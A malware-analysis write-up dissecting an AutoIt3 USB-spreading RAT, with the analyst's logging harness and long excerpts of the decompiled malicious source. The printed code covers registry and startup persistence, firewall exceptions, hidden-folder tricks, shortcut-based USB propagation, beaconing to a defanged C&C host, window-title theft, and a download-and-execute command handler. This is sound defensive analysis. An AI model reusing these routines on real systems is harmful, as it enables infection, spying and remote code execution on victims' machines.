Hunting Coyote: A Full Analysis of the 0LIONW0 AutoIt3 RAT
Author : malisipi Release Date : Reading Time : 16 mins

0. Origin of the Story

I found a USB at home. And I have no clue about it contains what. I plugged it to computer and I notice a folder named as "MozillaFirefox". I was sure about it wasn't a real Firefox edition however I didn't know what is it. After opening the "MozillaFirefox" folder, I found a suspicious EXE and a bunch of LNK files. And quickly realized it is a malware especially recognizing AutoIt 3 icon on top the EXE.

1. Decompiling

Visual basic script and similar languages like it doesn't have true compiling state, they are mostly only obfuscating and convert them a basic binary format. After grabbing a AutoIt 3 decompiler, you can easily convert to source code however those obfuscations will stay as persistent. The source code that we get also have AutoIt 3 headers, which are not related with directly malware.

2. Preparation

2.1. Getting AutoIt 3

Since AutoIt 3 runtime embeds the version into metadata, it's very easy to learn. Our malware is using3.3.8.1th version of AutoIt 3. It's important since malware not having file write operations. If we want to proxy them and log into a file, we will need correct headers with the malware. _I don't want to fix conflicts of a malware_. Also a good notice,AutoIt3.exefrom3.3.8.1has same file withGoogleChrome.exe. So the malware is abusing the signed AutoIt 3 runtime to run it. And the malware is only dependent toGoogleChrome.a3xfile.

2.2 Basic AutoIt 3 Syntax

;is command block
$varis used for variables
#includeto include external AutoIt 3 scripts
=is assignment and equal operator same time
<>is not equal operator
&is concat operator
Func..EndFuncis function definition
If...Then...EndIfis if operator
While..WEndis while loop
@AUTOIT_CONSTis consts from AutoIt 3 runtime
Global/Localis setting the scope of variable
@erroris for handling errors

3. Dynamic Analysis

Before removing the obfuscation we can run the script with function proxies and log the functions what does. I named the decompiled file asGoogleChrome_debug.au3and moved it into same directory which placedGoogleChrome.a3x. Firstly we need to open a log file and create a logging function.
#include <C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3>

Local $logDir = "C:\logs\"

If Not FileExists($logDir) Then
    DirCreate($logDir)
EndIf

Global $logFile = FileOpen($logDir & "Wolf_" & @AutoItPID & "_" & WolfRandomString(8) & ".log", $FO_APPEND)

Func WolfHowl($info)
    FileWrite($logFile, $info & @CRLF & @CRLF & @CRLF & "-------------------------------------------" & @CRLF)
EndFunc 

Func WolfRandomString($length)
    Local $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Local $result = ""
    For $i = 1 To $length
    $result &= StringMid($chars, Random(1StringLen($chars), 1), 1)
    Next
    Return $result
EndFunc

WolfHowl("Started")
We created aC:/logsfolder (if not exist) and open a log file which named asWolf_$PID_$random.log. And also created a logging function named asWolfHowlto make easier the write process in proxy part.
Func WolfShellExecute($file, $params, $workdir, $verb, $shown)
    WolfHowl("ShellExecute" & @CRLF & ">" & $file & @CRLF & ">" & $params & @CRLF & ">" & $workdir & @CRLF & ">" & $verb & @CRLF & ">" & $shown);
    Return ShellExecute($file, StringReplace($params, ".a3x""_debug.au3"), $workdir, $verb, $shown)
EndFunc

Func WolfInetGet($url, $file, $options, $bg)
    WolfHowl("InetGet" & @CRLF & ">" & $url & @CRLF & ">" & $file & @CRLF & ">" & $options & @CRLF & ">" & $bg);
EndFunc

Func WolfRegDelete($key, $val)
    WolfHowl("RegDelete" & @CRLF & ">" & $key & @CRLF & ">" & $val);
EndFunc

Func WolfTCPSend($sock, $data)
    WolfHowl("TCPSend" & @CRLF & ">" & $sock & @CRLF & ">" & $data);
EndFunc

Func WolfRegRead($key, $val)
    $res = RegRead($key, $val)
    WolfHowl("RegRead" & @CRLF & ">" & $key & @CRLF & ">" & $val & @CRLF & "::-> " & $res);
    Return $res
EndFunc

Func WolfRegWrite($k, $vn, $t, $v)
    WolfHowl("RegWrite" & @CRLF & ">" & $k & @CRLF & ">" & $vn & @CRLF & ">" & $t & @CRLF & ">" & $v);
    Return RegWrite($k, StringReplace($vn, ".a3x""_debug.au3"), StringReplace($t, ".a3x""_debug.au3"), StringReplace($v, ".a3x""_debug.au3"))
EndFunc

Func WolfFileExists($file)
    $res = FileExists($file)
    WolfHowl("FileExists" & @CRLF & ">" & $file & @CRLF & "::-> " & $res);
    ;Return False
    Return $res
EndFunc

Func WolfTCPNameToIP($name)
    WolfHowl("TCPNameToIP" & @CRLF & ">" & $name);
    Return "127.0.0.1"
    ;Return TCPNameToIP($name)
EndFunc

Func WolfFileCreateShortcut($f, $l, $w, $a, $d = "", $i = "", $h = "", $in = "", $s = "")
    WolfHowl("FileCreateShortcut" & @CRLF & ">" & $f & @CRLF & ">" & $l & @CRLF & ">" & $w & @CRLF & ">" & $a & @CRLF & ">" & $d & @CRLF & ">" & $i & @CRLF & ">" & $h & @CRLF & ">" & $in & @CRLF & ">" & $s);
    Return FileCreateShortcut(
        StringReplace($f, ".a3x""_debug.au3"),
        StringReplace($l, ".a3x""_debug.au3"),
        StringReplace($w, ".a3x""_debug.au3"),
        StringReplace($a, ".a3x""_debug.au3"), 
        $d, $i, $h, $in, $s
    )
EndFunc

Func WolfEnvSet($env, $v = "")
    WolfHowl("EnvSet" & @CRLF & ">" & $env & @CRLF & ">" & $v);
    Return EnvSet($env, $v)
EndFunc 

Func WolfWinGetTitle($title, $text = "")
    $res = WinGetTitle($title, $text)
    WolfHowl("WinGetTitle" & @CRLF & ">" & $title & @CRLF & ">" & $text & @CRLF & "::-> " & $res);
    Return $res
EndFunc

Func WolfDirCopy($src, $dest, $f)
    WolfHowl("DirCopy" & @CRLF & ">" & $src & @CRLF & ">" & $dest & @CRLF & "> " & $f);
    DirCopy($src, $dest, $f)
EndFunc     

Func WolfDirCreate($path)
    WolfHowl("DirCreate" & @CRLF & ">" & $path);
    DirCreate($path)
EndFunc 

Func WolfFileSetAttrib($file, $flag, $recursive = 0)
    WolfHowl("FileSetAttrib" & @CRLF & ">" & $file & @CRLF & ">" & $flag & @CRLF & "> " & $recursive);
    FileSetAttrib($file, $flag, $recursive)
EndFunc

Func WolfTCPConnect($ip, $port)
    WolfHowl("TCPConnect" & @CRLF & ">" & $ip & @CRLF & ">" & $port);
    Return TCPConnect($ip, $port)
EndFunc
In the proxy part you will seeStringReplace($var".a3x""_debug.au3"). It's one of core part of proxy. Since the process runs itself, we need to that to observe logs. If it runs unproxied version, we will not get full of logs that might be very important to us. Also inWolfTCPNameToIP, I don't resolve the address correctly to prevent calling home. I just resolved it as127.0.0.1instead of. After we started the program and gets logs, we have same good information what it does.

DirCopy

DirCopy("@ScriptDir""C:\GoogleChrome"1);
DirCopy("C:\GoogleChrome""c:\MozillaFirefox"1);
It copies the script directory intoC:\GoogleChromeand copies theC:\GoogleChrometoc:\MozillaFirefox. The virus is gaining persistency with that.

EnvSet(SEE_MASK_NOZONECHECKS, 1)

It disables the security warning for the files that comes from third sources. Probably to prevent the warning to prevent a downloaded file by runningShellExecute.

ShellExecute("netsh" "firewall add allowedprogram ""C:\GoogleChrome\GoogleChrome.exe"" ""GoogleChrome.exe"" ENABLE"""""0)

It gives a firewall exception, so the application can call home without caught by firewall.

FileCreateShortcut

It creates shortcuts into the startup folder (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\) and folders that placed in root of drives. By creating startup folder shortcuts, the malware gains persistency in the system.

TCPNameToIP("googleads[.]publicvm[.]com")

It's probably home address, since we resolved it to127.0.0.1. We can track the malware what will do with the address.

TCPConnect("127.0.0.1"224)

It tries opening a socket that uses 224 port. I we can understand the malware tries to connecthxxp://googleads[.]publicvm[.]com:224/. It's probably the command-and-control (C&C) server of malware. And tries hide itself like a legit Google ad server.

TCPSend(-1"lv0LIONW0Zeus_44ED3C4A0LIONW0DESKTOP-KT50SE00LIONW0redwolf0LIONW00LIONW0WIN_8 X640LIONW00.3x Usb0LIONW0No-AntiVirus0LIONW0")

And it sending a data to C&C server. When we look at the string we can find a pattern that repeats, the0LIONW0. When you use the0LIONW0as delimiter, you will get["lv""Zeus_44ED3C4A""DESKTOP-KT50SE0""redwolf""""WIN_8 X64""0.3x Usb""No-AntiVirus"""]array.
lv,Zeus_44EF3C4A,0.3x Usbis not much meaningful from this perspective however.0.3might be version number,Usbmight stands for spreading way. Also the44EF3C4Alooks like a hex data, it mights stands for unique id for tracking. But we need to deep-dive source code to find exactly what it means.
redwolf, is username of the sandbox.
WIN8 x64, Windows version and the Arch version. (Since the AutoIt version released before Windows 10, it detects as Windows 8 probably)
DESKTOP-KT50SE0, is device name.
No-AntiVirus, I think it's self explanatory.

RegWrite

Probably for persistency. When the programs updates, probably runs this commands.
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""JavaUpdate""REG_SZ""C:\GoogleChrome\GoogleUpdate.lnk")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeUpdate""REG_SZ""C:\GoogleChrome\GoogleUpdate.lnk")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run""NewJavaInstall""REG_SZ""C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeFlash""REG_SZ""C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")

FileSetAttrib($path"+RSH"0)

It changes folders attributes withRead-only,System andHidden. It's for stay hidden even checkedShow Hidden Files. Those folders will stay until uncheckHide Protected Operating System Files (Recommended).
FileSetAttrib("C:\GoogleChrome""+RSH"0)
FileSetAttrib("c:\MozillaFirefox""+RSH"0)

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced""ShowSuperHidden", REG_DWORD, 0)

It's also again aRegWritecall. However the purpose is too different, so I grouped it different. It checksHide Protected Operating System Files (Recommended)programmatically, so the paths will be stay hidden even user unchecks the checkbox.

4. Static Analysis

#NoTrayIcon
#Region
    #AutoIt3Wrapper_Outfile_type=a3x
    #AutoIt3Wrapper_Icon=C:\Users\xShandow\Desktop\Google-Chrome-Google-Chrome.ico
#EndRegion
#NoTrayIcon
The malware probably compiled axShandownamed user. And it tried using fake Google Chrome icon however _somehow_ mess that and the malware is using default AutoIt 3 logo. Because of the executable also taken from official runtime, not even tried to compile or change resources. Also it's using#NoTrayIconto hide tray symbol of AutoIt 3. But using that two times how helps I don't know.

Local $VRSRBTSPLNIRTCY = "Zeus"
$VRSRBTSPLNIRTCY &= "_" & Hex(DriveGetSerial(@HomeDrive))
&=operator is not a logic operator. In AutoIt3, it's used as string concatenation function
Did the Zeus remind something? It's origin ofZeus_44EF3C4A. So44EF3C4Ais our home drive serial as encoded in hex. Also I will alias$VRSRBTSPLNIRTCYas$Zeus_drive_serial.

Global $DRJIEUIAOKSOTRF = "0.3x"
If FileExists("C:\GoogleChrome/MozillaFirefox.lnk"Then
    $DRJIEUIAOKSOTRF = "0.3x Usb"
EndIf
Also you should remember the0.3x UsbinTCPSend. Usbpart probably for reporting the malware persistence. I will alias$DRJIEUIAOKSOTRFas$03xUsb.

$SMHPXZJFTZGXFVV = "0LIONW0"
And the delimiter found here.

If @ScriptDir <> "C:\GoogleChrome" Then
    If "vbs" = "exe" Then
    ; Dead Code, I skipped
    Else
        DirCopy(@ScriptDir"C:\GoogleChrome"1)
        ShellExecute("C:\GoogleChrome\GoogleChrome.exe""/AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x"""""@SW_HIDE)
        ShellExecute("cmd.exe""/c start C:\GoogleChrome/GoogleChrome.exe C:\GoogleChrome/GoogleChrome.a3x"""@SW_HIDE)
    EndIf
    FileSetAttrib("C:\GoogleChrome""+RSH")
    Exit
EndIf
It's copying the malware directory intoC:/GoogleChromeif already not working there. Starts two copy of itself, and hides the malware directory as System file (like we found the analysis). Then exits.

JOBGBZLZCREXIWE() ; SetEnvNFirewall()


Func CYNFMPPBRAWIIOK()
    EnvSet("SEE_MASK_NOZONECHECKS""1")
    ShellExecute("netsh""firewall add allowedprogram ""C:\Program Files (x86)\AutoIt3\AutoIt3.exe"" ""GoogleChrome.exe"" ENABLE")
EndFunc
It's sets the SEE_MASK_NOZONECHECKS as1and adds a firewall exception for the malware and AutoIt 3 executable. I will aliasJOBGBZLZCREXIWEasSetEnvNFirewall.

CYNFMPPBRAWIIOK() ; RegWriteAndStartupShortcuts()

Func CYNFMPPBRAWIIOK()
    If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""Google Chrome""REG_SZ"@ScriptDir & "\WindowsUpdate.lnk")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""Google Chrome""REG_SZ"@ScriptDir & "\WindowsUpdate.lnk")
    EndIf
    If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""JavaUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""JavaUpdate""REG_SZ"@ScriptDir & "\GoogleUpdate.lnk")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeUpdate""REG_SZ"@ScriptDir & "\GoogleUpdate.lnk")
    EndIf
    If RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",  "NewJavaInstall") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",  "NewJavaInstall""REG_SZ"@ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeFlash") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeFlash""REG_SZ"@ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
    If FileExists(@StartupCommonDir & "\WindowsUpdate.lnk") = False Then
        FileCreateShortcut("cmd.exe"@StartupCommonDir & "\Google Chrome.lnk""""/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
    EndIf
    If FileExists(@StartupCommonDir & "\GoogleUpdate.lnk") = False Then
        FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe"@StartupCommonDir & "\GoogleUpdate.lnk""""/AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
EndFunc
It's creating theRegWritecalls and creates start-up folder shortcuts here. However since half of checksRegReadandFileExistschecks different key or path instead of that is actually changing, the conditions always fail and write or create them again when every time the function called. I will aliasCYNFMPPBRAWIIOKasRegWriteAndStartupShortcuts

BXTXSVPWSNIXJEB() ; AddScriptDirShortcuts()

Func BXTXSVPWSNIXJEB()
    If FileExists(@ScriptDir & "\WindowsUpdate.lnk") = False Then
        FileCreateShortcut("cmd.exe"@ScriptDir & "\WindowsUpdate.lnk""""/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
    EndIf
    If FileExists(@ScriptDir & "\GoogleUpdate.lnk") = False Then
        FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe"@ScriptDir & "\GoogleUpdate.lnk""""/AutoIt3ExecuteScript C:\Users\redwolf\Desktop\GoogleChrome.a3x")
    EndIf
EndFunc
It's creating GoogleChrome & WindowsUpdate shortcuts for@ScriptDir. I will aliasBXTXSVPWSNIXJEBasAddScriptDirShortcuts

QHTAJWUVOFPNRCA("ALL"; AddShortcutsNHideSystemFiles()
QHTAJWUVOFPNRCA($UPJTUGAXAUXFQDY = "REMOVABLE");
Function definition is important. When the function called without parameter, it will runs for removable devices.
It runsRegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced""ShowSuperHidden", REG_DWORD, 0)to hide System files hidden.
$VMOWJBGXRMCIZPC = DriveGetDrive($UPJTUGAXAUXFQDY), it get list of all or removable drives (dependent to$UPJTUGAXAUXFQDYparameter)
In AutoIt 3, when a internal function returns array, mostly returns in a format like[$array_size=n, $param_1, ..., $param_n]. Also this rule applies toDriveGetDrive.
And the function starts to iterate by using$JLVHCYFDDTVCTZJvariable.
$VMOWJBGXRMCIZPC[$JLVHCYFDDTVCTZJ]is letter of the drive, likeC:,D:etc. I will assign it to$drivevariable to make everything more readable.
DriveStatus($drive) = "READY", checks the status of drive.
DriveSpaceFree($drive) > 10, And checks storage has more capacity than 10 MB.
If FileExists($drive & "\MozillaFirefox") = 0 Then FileDelete($drive & "\MozillaFirefox"), it deletesMozillaFirefoxfolder that placed in drives root (if exist).
DirCopy(@ScriptDir, $drive & "\MozillaFirefox"1), then it copies the script folder toMozillaFirefoxfolder.
FileSetAttrib($drive & "\MozillaFirefox""+RSH"), it setsMozillaFirefoxfolder asRead-only,System andHidden.
Ands starts iterate for every file in root of drive by usingFileFindFirstFileandFileFindNextFile. Iterator is$QQYEAOZDVRDISHXhowever i will call it as$folderfor readability.
Checks is it folder by usingStringInStr(FileGetAttrib(...)"D")and also checks the folder name is not equal to.and...
Creates two malicious shortcuts for every folder in the drive
FileCreateShortcut("cmd.exe"$drive & "\" & $folder & "\" & $folder, "", "/c start ..\MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)  & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
FileCreateShortcut("cmd.exe"$drive & "\" & $folder & "\My Music", "", "/c start ..\MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)  & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
Sleep(40), Sleeps 40 ms. Probably for avoiding high CPU/Disk usage.
It's core logic for spreading device to device. It's using removable drives as jump table, and spreads by running the shortcut file. Also that's explaining why I found the virus in a folder named asMozillaFirefoxthat placed on root of the USB.explorer  ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)pattern is basicallyexplorer %CD%. The patterns that given as a parameter to malware, might shows the malware was wanting to execute commands from command line parameters. However the malware don't have any mechanism for that. But since the command run viacmd.exe, the&symbol was handled by cmd.exe and won't passed to application. So probably the malware might expected to have/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x & explorer %cd%parameter to open explorer and behave like normal folder shortcut. However those of all is just assumptions and the shortcuts are badly formatted. So they just trigger the executable. I will alias theQHTAJWUVOFPNRCAasAddShortcutsNHideSystemFiles. Also you can remember we found most of that already in static analysis section. Time is solving what we cannot find in dynamic analysis.

JTKCXJWJGPEWDWJ() ; AddMyFolders()
It has a lot of similar parts toAddShortcutsNHideSystemFiles(akaQHTAJWUVOFPNRCA).
$RVHWXRAJIWSBONA = DriveGetDrive("REMOVABLE"), it gets a list of removable drives
And the function starts to iterate by using$UYQCHVSHUXEVFXDvariable.
$RVHWXRAJIWSBONA[$UYQCHVSHUXEVFXD]is letter of the drive, likeC:,D:etc. I will assign it to$drivevariable to make everything more readable.
DriveStatus($drive) = "READY", checks the status of drive.
DriveSpaceFree($drive) > 1024, And checks storage has more capacity than 1024 MB.
DirCopy(@ScriptDir, $drive & "\MozillaFirefox"1), it copies the script folder toMozillaFirefoxfolder.
FileSetAttrib($drive & "\MozillaFirefox""+RSH"), it setsMozillaFirefoxfolder asRead-only,System andHidden.
Creates two shortcuts named asDocumentsandDownloadsto root of device.
FileCreateShortcut("cmd.exe", $drive & "\Documents""""/c start MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)  & exit""""%windir%\system32\SHELL32.dll"""3@SW_SHOWMINNOACTIVE)
FileCreateShortcut("cmd.exe", $drive & "\Downloads""""/c start MozillaFirefox\GoogleChrome.exe  /AutoIt3ExecuteScript  ..\MozillaFirefox\GoogleChrome.a3x explorer  ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)  & exit""""%windir%\system32\SHELL32.dll"""3@SW_SHOWMINNOACTIVE)
If$drive & "\My Games"folder not exist, it creates a directory at$drive & "\My Games".
If$drive & "\My Pictures"folder not exist, it creates a directory at$drive & "\My Games". There's no typo. Probably malware author forget to change folder name, it shows the _quality_ of the malware.
If$drive & "\My Videos"folder not exist, it creates a directory at$drive & "\My Videos".
If$drive & "\My Movies"folder not exist, it creates a directory at$drive & "\My Movies"andERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");.
Then callsAddShortcutsNHideSystemFiles(akaQHTAJWUVOFPNRCA) (with default"REMOVABLE"parameter).
I will alias theJTKCXJWJGPEWDWJasAddMyFolders.

Global $YLZDSLGVNMGLHEL = "googleads[.]publicvm[.]com"
Global $TMDVEICCZCVSTZO = 224
Global $JDSQSBWWYOBBUNS = -1 ; $TCP_Socket
Global $VLKUJUBFNIMZXZY = 0; ; $TCP_Connection_State

Func FGHHVXEASQLUIKK() ; ResolveAddressAndConnect()
    $VLKUJUBFNIMZXZY = 0 
    TCPCloseSocket($JDSQSBWWYOBBUNS)
    TCPShutdown()
    TCPStartup()
    $JDSQSBWWYOBBUNS = -1
    $JDSQSBWWYOBBUNS = TCPConnect(TCPNameToIP($YLZDSLGVNMGLHEL), $TMDVEICCZCVSTZO)
    $VLKUJUBFNIMZXZY = 0
EndFunc
It tries to connect C&C server here like we find at dynamic analysis. I will alias$JDSQSBWWYOBBUNSas$TCP_Socketand$VLKUJUBFNIMZXZYas$TCP_Connection_Statefor readability. And alias the functionFGHHVXEASQLUIKKasResolveAddressAndConnect.

Func ERQSAKPMOAIZNXP($OPGATNEJQLBURNA) ; DataReport($data)
    $OPGATNEJQLBURNA = StringReplace($OPGATNEJQLBURNA, @CRLF"|")
    TCPSend($TCP_Socket, $OPGATNEJQLBURNA & @CRLF)
    If @error Then
        $TCP_Connection_State = 1
        Return 0
    Else
        Return 1
    EndIf
EndFunc
It's a data reporter function to C&C server, it gets the$OPGATNEJQLBURNAparameter and replaces CRLF with"|"and sends via the socket. I will alias the functionERQSAKPMOAIZNXPasDataReport. And we have learned what happens byERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");function call. When the virus infects a new removable drive, it calls home and reports that. And fun fact,ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");can be run before the socket opening. If you boot your computer with removable device attached or first run of the malware,AddMyFolderswill be run before firstResolveAddressAndConnectcall. So, it will always fail in those situations.

Func RKCGDIKLHXBSMSW() ; GetCommandFromCNC()
    If $TCP_Socket < 1 Then
        $TCP_Connection_State = 1
        Return -1
    EndIf
    $TWZCNPRQZYRMAHS = TCPRecv($TCP_Socket, 10240)
    If @error Then
        $TCP_Connection_State = 1
        Return -1
    EndIf

    ; Dead code elimination, some concat and string operations however none of them used really
    If StringInStr($TWZCNPRQZYRMAHS, @CRLFThen
        Return $TWZCNPRQZYRMAHS
    EndIf
    Return ""
EndFunc
It's basically checks socket and receive command from C&C server. If the answer$TWZCNPRQZYRMAHShas@CRLFin it, returns with the answer. If not, returns with"". And you should notice, if it encounter with an error, returns with-1. I will alias the functionRKCGDIKLHXBSMSWasGetCommandFromCNC.

If _Singleton("GoogleChrome.exe"1) = 0 Then
    Exit
EndIf
And it uses singleton here, probably prevent starting multiple instance and opening multiple socket with C&C server.

Func AV() ; The only function that I will not alias to something probably in this Writeup
    Local $AVNAME
    If @OSVersion = "WIN_XP" Then
        $OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter")
    Else
        $OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
    EndIf
    $COLITEMS = $OWMI.ExecQuery("Select * from AntiVirusProduct")
    For $OBJANTIVIRUSPRODUCT In $COLITEMS
        $AVNAME = $OBJANTIVIRUSPRODUCT.displayName
    Next
    If $AVNAME = False Then
        Return "No-AntiVirus"
    Else
        Return $AVNAME
    EndIf
EndFunc
It's self explanatory, it iterates SecurityCenter entries and returns last anti-virus provider. If an anti-virus not exist, returnsNo-AntiVirus. Also did you rememberNo-AntiVirusentry, we found it in static analysis.

Func XFNYFKEFWEQHZMH() ; BrokenUninstall()
    DataReport("MSG0LIONW0 Uninstall !!")

    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run""Google Chrome")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""Google Chrome")
    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run""JavaUpdate")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeUpdate")
    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run""NewJavaInstall")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run""AdopeFlash")
    ShellExecute("netsh""firewall delete allowedprogram " & @AutoItExe""""@SW_HIDE)
    ShellExecute(@ComSpec"/k ping 0 & del " & @AutoItExe & " & exit"""""@SW_HIDE)
    Exit
EndFunc
Whoa, did we find a uninstall function in this malware? Cool! _However did you not expect it is well working, right?_ It only deletes the the regedit keys, the malware that placedC:\GoogleChrome\GoogleChrome.exe, removes the firewall exception. And remove itself. The shortcuts andC:\MozillaFirefoxstill exist and can the malware spread it again. But i liked the way to remove executable, it starts acmd.exeandping 0to sleep the malware exits while ping is sending thencmd.exeremoves bydel @AutoItExepart. Also it's sendingMSG0LIONW0 Uninstall !!"message to server.

$ZKXUZCJNQFHAJKU = 4 ; $counter_to_spread
$BJLTKXJDEYWQECD = 0 ; $counter_to_steal
$SSPGCTZBCDDBOHR = "" ; $last_window_title

While 1
We have a bunch of variables and we are going into the main loop.
    $counter_to_spread += 1
    If $counter_to_spread = 5 Then
        $counter_to_spread = 0
        RegWriteAndStartupShortcuts()
        AddMyFolders()
    EndIf
It have basically(++counter_to_spread%5 == 0)condition and triggers the functions to spread removable devices and sure the malware is still persistent.
    $EWFVJGZMZAZBQSC = GetCommandFromCNC() ; $CNC_command
It gets command from C&C to process.
    Select
        Case $CNC_command = -1 Or $TCP_Connection_State = 1
            Sleep(3000)
            ResolveAddressAndConnect()
            DataReport("lv0LIONW0" & $Zeus_drive_serial & "0LIONW0" & @ComputerName & "0LIONW0" & @UserName & "0LIONW0" & "0LIONW0" & @OSVersion & " " & @OSArch & "0LIONW0" & $03xUsb & "0LIONW0" & AV() & "0LIONW0")
It checks the status of socket. And if connection not initialized or terminated, it is trying to start connection here and report the computer information. That we found already in static analysis. Also theSleepcall probably to prevent triggering an anti-virus and keep hidden in other network requests. Also it's the only call ofResolveAddressAndConnectfunction in the malware. The all previousDataReportcalls will always fail cause from that.
        Case $CNC_command = ""
            $counter_to_steal += 1
            Sleep(1000)
            If $counter_to_steal = 8 Then
                $counter_to_steal = 0
                $CALKNAYQNVAYKLR = WinGetTitle("")
                If $CALKNAYQNVAYKLR <> $last_window_title Then
                    DataReport("ac0LIONW0" & $CALKNAYQNVAYKLR)
                EndIf
                $last_window_title = $CALKNAYQNVAYKLR
                $CALKNAYQNVAYKLR = ""
            EndIf
If socket connected successfully, it will capture current window title viaWinGetTitle("")in every 8 seconds. If the current title is not equal to previous title, it will reported viaDataReport.
        Case $CNC_command <> ""
            $XOHRZSTRJNJQZYB = StringSplit($CNC_command, "0LIONW0"1; $CNC_command_list
If$CNC_commandis not equal to"", it tries to split using the delimiter and assign to$CNC_command_list.
Note:StringSplitis also using AutoIt 3 Array returning format.
            If $CNC_command_list[0] > 0 Then
$CNC_command_listsize check is too comic. It checks only longer than is it bigger than0or not. However we are already checked it is not empty, so italwaysbigger than0. Also not properly checks size.$CNC_command_list[2]would malware crash if server send faulty data. _Never mind, I am too thinking about this malware._
                Select
                    Case $CNC_command_list[1] = "DL"
                        InetGet($CNC_command_list[2], @TempDir & "\" & $CNC_command_list[3], 1)
                        If FileExists(@TempDir & "\" & $CNC_command_list[3]) Then
                            ShellExecute("cmd.exe""/c start %temp%\" & $CNC_command_list[3], """"@SW_HIDE)
                            DataReport("MSG0LIONW0Executed As " & $CNC_command_list[3])
                        Else
                            DataReport("MSG0LIONW0Download ERR")
                        EndIf
It checks first parameter is equal toDL.DLmostly stands for _download_ keyword. And it's explaining what does exactly. It download second parameter to%TEMP%using third parameter as filename. If the file exists in the%TEMP%directory, it tries to run viaShellExecute. And lastly sends information to C&C server about execution state (run or corrupted). Also this mode might be show the malware have a second part which distributed via C&C to keep avoid from anti-virus scans. But we can never able to learn that. Also it is the part of we understand the malware isn't just a basic worm or info-stealer. It can run arbitrary code on infected computer. Probably the syntax is looking likeDL0LIONW0$url0LIONW0file_nameto trigger that situation.
                    Case $CNC_command_list[1] = "un"
                        BrokenUninstall()
